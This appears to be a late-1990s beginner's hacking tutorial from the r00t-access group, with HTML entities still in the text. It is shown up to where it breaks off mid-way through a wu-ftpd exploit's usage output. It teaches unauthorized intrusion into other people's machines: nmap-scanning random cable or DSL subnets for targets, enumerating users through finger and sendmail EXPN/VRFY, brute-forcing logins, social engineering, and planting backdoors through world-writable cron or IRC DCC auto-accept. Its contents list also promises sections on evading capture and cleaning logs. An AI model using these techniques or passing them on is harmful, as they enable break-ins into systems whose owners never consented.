&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Ok done with the sloppy ass ascii art. The reason I am&lt;br /&gt;
even writing this text is because of the incoming increase in questions like &quot;how do I hack&lt;br /&gt;
hotmail&quot; or aol or another lame question. This text should explain to you that you have to&lt;br /&gt;
actually know something to &quot;hack.&quot; Read through the whole text if you are a beginner, and&lt;br /&gt;
if you know a little, skip through and you should understand it. I will probably be adding&lt;br /&gt;
to this text to make it include more info, and to make it easier to understand, the basic&lt;br /&gt;
reason I wrote this is to STOP people from asking me and others how to do STUPID things&lt;br /&gt;
yes it is STUPID to ask how to hack, it makes you look stupid and you will never be anything&lt;br /&gt;
unless you can&#39;t teach yourself.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;I at first was just a kid in middle school who wanted to&lt;br /&gt;
mess up people&#39;s computers. I asked people about virii and trojans, and used them, I was a&lt;br /&gt;
lamer. I asked people in school and eventually found someone who was interested in hacking.&lt;br /&gt;
He showed me some tricks, and i payed him money i wanted to learn so bad. He had been using unix&lt;br /&gt;
for years, he told me to get a shell, I had no idea what he meant. He said it was access to&lt;br /&gt;
a unix computer. I was still a little confused, but eventually I got the hang of using a shell&lt;br /&gt;
instead of winshit. I read all I could, I spent all day on the computer, i started losing&lt;br /&gt;
interest in socialization in the real world. I didn&#39;t care, I spent over 12 hours a day on&lt;br /&gt;
the computer at that time, I read everything i could get a hold of, the very first text I&lt;br /&gt;
read was the &quot;mostly harmless hacking&quot; text. It interested me, I only used the windows stuff&lt;br /&gt;
at first like changing the shutdown screen and other simple things. I was making websites&lt;br /&gt;
on hacking although i didn&#39;t know what it was, I would include tools for windows like&lt;br /&gt;
trojans and virii although they weren&#39;t hacking it was something I liked at the time. I&lt;br /&gt;
later got into mailbombers, flooders, DoS things. After I learned all of that (I realize&lt;br /&gt;
that it is not hacking now don&#39;t flame me here) I started going back into getting shells.&lt;br /&gt;
Well at that time all the free shells I could find just plain sucked. I heard a couple&lt;br /&gt;
things about Linux. I asked my &quot;hacker friend&quot; at school, he said don&#39;t get Linux get a&lt;br /&gt;
real UNIX. He moved to PA, and I have never heard from him since, I have tryed to track him&lt;br /&gt;
down to thank him for what he has showed me but have had no luck. Well I got linux. The&lt;br /&gt;
install was text based then but it ran fast, it was a lot more reliable than windows,&lt;br /&gt;
never crashed. Well My 56k didn&#39;t work. I went on IRC and asked around #linux. I found&lt;br /&gt;
out I had a modem called a &quot;winmodem&quot;, I win-modem is a modem controlled by the software.&lt;br /&gt;
They are generally slower than hardware modems and they don&#39;t work on linux. I played&lt;br /&gt;
around with the command line seeing what things I could do, than I eventually raised $100&lt;br /&gt;
to buy a Linux compatible modem. I got it running. It was great. I have been using it ever&lt;br /&gt;
since, and still am learning more about it. My parents say I am &quot;addicted to the computer&quot;,&lt;br /&gt;
I try to convince them I am not. I never seem to get bored with it, I always have something&lt;br /&gt;
new to do with it. I have lost some friends in the time, hardly ever leaving my desk, I quit&lt;br /&gt;
the Varsity Football Team, I was a starter, I have quit jobs, all just to use this damn machine&lt;br /&gt;
I am starting to get pissed at myself so I will stop writing this boring paragraph. I hope someone&lt;br /&gt;
out there finds this useful :)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; CONTENTS&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ============&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (1.) Common knowledge&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (2.) Supplies&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (3.) Easy hacks&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (4.) What you need to do to get in&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (5.) Enumeration&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (6.) Common Mistakes leading to compromise&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (7.) Buffer overflows&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (8.) Firewalls&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (9.) What to do after getting in&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (10.) How to not get caught&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (11.) Log cleaning&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (12.) Finding a use for the newly rooted box&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (13.) My feelings on the bad hackers&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DISCLAIMER&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;================&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Ok by reading this text you agree to NOT hold me or anyone affiliated with r00t-access responsible&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;for your actions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(1.) The best way to use this text is to read it once fully, than read&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;it again and try out some things explained here. Ok now on with the text.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;When you read this text I am expecting you to have basic knowledge of what&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;telnet is, some basic tcp/ip knowledge... If there is something little here&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;you don&#39;t understand, don&#39;t hesitate to join #r00t-access on irc.dal.net,&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;that is one of the places I hang out on.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-------------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SUPPLIES&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;==========&lt;br /&gt;
&lt;br /&gt;
(2.) Here listed is some supplies you will need throughout this tutorial, they can be obtained&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;easily, at anti-secure.com and packetstorm.securify.com, just do a search for the names of the&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;tools I list.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1. - superscan (for windows)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2. - nmap (for unix)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3. - full shell access (the very best is if you have linux or bsd or solaris or another unix OS)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;4. - compiler on the shell&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;5. - wingates (you can use them as telnet proxys)&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; That is it!&lt;br /&gt;
&lt;br /&gt;
------------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;EASY TARGETS&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ==============&lt;br /&gt;
&lt;br /&gt;
(3.) Here I talk about finding easy targets.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1. - go to altavista.com search for &quot;games&quot; make the language Japanese or another language&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; other than english, reason is these tend to be low on security&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2. - Scan a Cable or DSL subnet for hosts with lots of services running, use nmap, make sure&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; when it finds an open port the state is &quot;open&quot; not &quot;closed&quot; or &quot;filtered&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; nmap&#39;s portscan report will tell you this, I will not explain how to use nmap since the&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; man page shows you enough&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3. - make sure nmap is installed, use the command I post below or similar&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; to find hosts with lots of common unix services running-&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; (NOTE: $ will represent a regular user shell in this text and # will be representing a superuser&lt;br /&gt;
&amp;nbsp; &amp;nbsp;shell. I use 24.112.*.* as a sample, replace it with who you want to scan)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
$ nmap -p 21,23 24.112.*.*&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; TO GET IN&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ============&lt;br /&gt;
&lt;br /&gt;
(4.) To get in you will need to gather as much info on this host as you can, make sure it is&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;a dumb SysAdmin, since this is your first hack. Then exploit the System, I will explain more&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;on this and info getting later.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;ENUMERATION&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; =============&lt;br /&gt;
&lt;br /&gt;
(5,&amp;gt; Ok we have our target. Now to go further we need some info. First telnet to it&#39;s port 79, now&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;if this is open you can possibly gain a user list of who is logged on.Just telnet in and press enter.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; Lets say it is enabled&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;and allows you to view online users. Look at the example below-&lt;br /&gt;
&lt;br /&gt;
-----------------------------------------------------------------------------&lt;br /&gt;
$ telnet target.domain 79&lt;br /&gt;
Trying IPaddress...&lt;br /&gt;
Connected to target.domain.&lt;br /&gt;
Escape character is &#39;^]&#39;.&lt;br /&gt;
&lt;br /&gt;
Login &amp;nbsp; &amp;nbsp; Name &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Tty &amp;nbsp; Idle &amp;nbsp;Login Time &amp;nbsp;Office &amp;nbsp; &amp;nbsp; &amp;nbsp;Office Phone&lt;br /&gt;
gt &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;grahm crackhead &amp;nbsp; /1 &amp;nbsp; &amp;nbsp;Sep 1 12:01 &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
-----------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Ok if you get a login write it down&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;and try various logins for it. Maybe get Brutus, a telnet brute forcer which you can download for&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;windows at- www.packetstorm.securify.com. Use that, try many wordlists. If you just got a&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;&quot;no one is logged on&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;message than perhaps you should get &quot;haktek&quot; for windows, you can also get that at-&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;www.packetstorm.securify.com. Haktek will let you monitor the finger daemon for as long as you want&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;and log to a file everyone who logs in. This can be usefull. Another way is to use the sendmail.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;If they have a lot of users try telneting in and trying to find some valid names, maybe even try&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;brute forcing it with a program or a shell script you could type up. Look below, I give an example&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;of a sendmail vulnerable to gathering valid logins-&lt;br /&gt;
&lt;br /&gt;
-----------------------------------------------------------------------------&lt;br /&gt;
$ telnet target.domain 25&lt;br /&gt;
Trying IPaddress...&lt;br /&gt;
Connected to target.domain.&lt;br /&gt;
Escape character is &#39;^]&#39;.&lt;br /&gt;
&lt;br /&gt;
220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400&lt;br /&gt;
expn wally&lt;br /&gt;
250 Wally Kolcun &amp;lt;wally@target.domain&amp;gt;&lt;br /&gt;
vrfy wally&lt;br /&gt;
250 Wally Kolcun &amp;lt;Wally@target.domain&amp;gt;&lt;br /&gt;
expn Billy&lt;br /&gt;
550 BIlly... User Unknown&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
As you see above I telneted to their smtp daemon, issued &quot;expn &amp;lt;usernamehere&amp;gt;&quot; and it told me if it was a&lt;br /&gt;
real user, then at the end I showed an example of what would happen if the user did not exist, when I&lt;br /&gt;
typed &quot;expn Billy&quot; it showed the user was unknown so it was not a valid login, this also helps you get&lt;br /&gt;
their email address when you would do some social engineering.&lt;br /&gt;
&lt;br /&gt;
Another way of gathering usernames would be to search usenet, altavista, for that specific domain.&lt;br /&gt;
If you search newsgroups for the domain, there may be some useful info on it, like a problem they are having&lt;br /&gt;
maybe with setting permissions, which could get you in possibly.&lt;br /&gt;
&lt;br /&gt;
Other daemons to help you could be systat, netstat...&lt;br /&gt;
&lt;br /&gt;
Telnet can also help you figure out the OS, which can be important if you want to exploit it, some have the&lt;br /&gt;
OS printed in the telnet login, like below:&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------&lt;br /&gt;
Trying IPaddress...&lt;br /&gt;
Connected to target.domain.&lt;br /&gt;
Escape character is &#39;^]&#39;.&lt;br /&gt;
&lt;br /&gt;
Red Hat Linux release 6.1 (Cartman)&lt;br /&gt;
Kernal 2.2.12-20 on an i586&lt;br /&gt;
login:&lt;br /&gt;
.----------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
As you can see above the system we are cracking now is a redhat 6.1 box&lt;br /&gt;
&lt;br /&gt;
Social engineering can also get you somewhere, take the example of Kevin Mitnick, He used social engineering&lt;br /&gt;
to get into Novell, a HUGE system. What he did was talked like he knew someone who was working there. He&lt;br /&gt;
knew they were at vacation at the time, but he had their name. He called up Novell&#39;s offices and asked for&lt;br /&gt;
the person, the secretary said she was on vacation, so he said he needed to get access from her, he was&lt;br /&gt;
supposed to have. She gave him info that got him in.&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; COMMON FLAWS&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ===============&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(6.) Sometimes people make mistakes. This can get you in. Some people just aren&#39;t good sysadmins. A very&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;common flaw is people having trouble setting permissions, some have so much trouble they set things&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;writable to everyone. This can be trouble. Lets have an example here. Someone sets the cron.daily&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;writable for everyone. You could just upload somebackdoor and have it executed by the cron daemon which&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;would escalate your access to the system.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Now I will tell you about the most terrible thing to do. If a user ever uses IRC on the system, and&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;if they also had dcc file send on autoexcept, also having the files go to their home directory, they&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;could be sent a hacked up .bash_profile, if written correctly this could make them do something not&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;wanted. Like adding a user when they logged in, or mailing someone a login/pass. This is absolutely&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;the easiest way to get in.&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;BUFFER OVERFLOWS/EXPLOITING&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ================================&lt;br /&gt;
&lt;br /&gt;
(7.) I am not going into buffer overflows too deep. I will just explain what they are so you understand&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;and go into the next section.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;BUFFER OVERFLOWS- On daemons there is a thing called a buffer limit. The buffer limit limits the&lt;br /&gt;
&amp;nbsp; &amp;nbsp; ================== amount of bytes that come in. Sometimes by issuing specific code you ca overflow&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;the buffer and spawn a root shell or regular user shell. An example of this is&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;the recent Buffer overflow in wu-ftpd 2.6.0 (1). Below I will show you it-&lt;br /&gt;
&lt;br /&gt;
------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
$ gcc wuftpd-god.c -o wuftpd-god&lt;br /&gt;
$ ./wuftpd-god -h&lt;br /&gt;
&lt;br /&gt;
Usage: ./wuftpd-god -t &amp;lt;target&amp;gt; [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;[-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]&lt;br /&gt;
target &amp;nbsp; &amp;nbsp;: host with any wuftpd&lt;br /&gt;
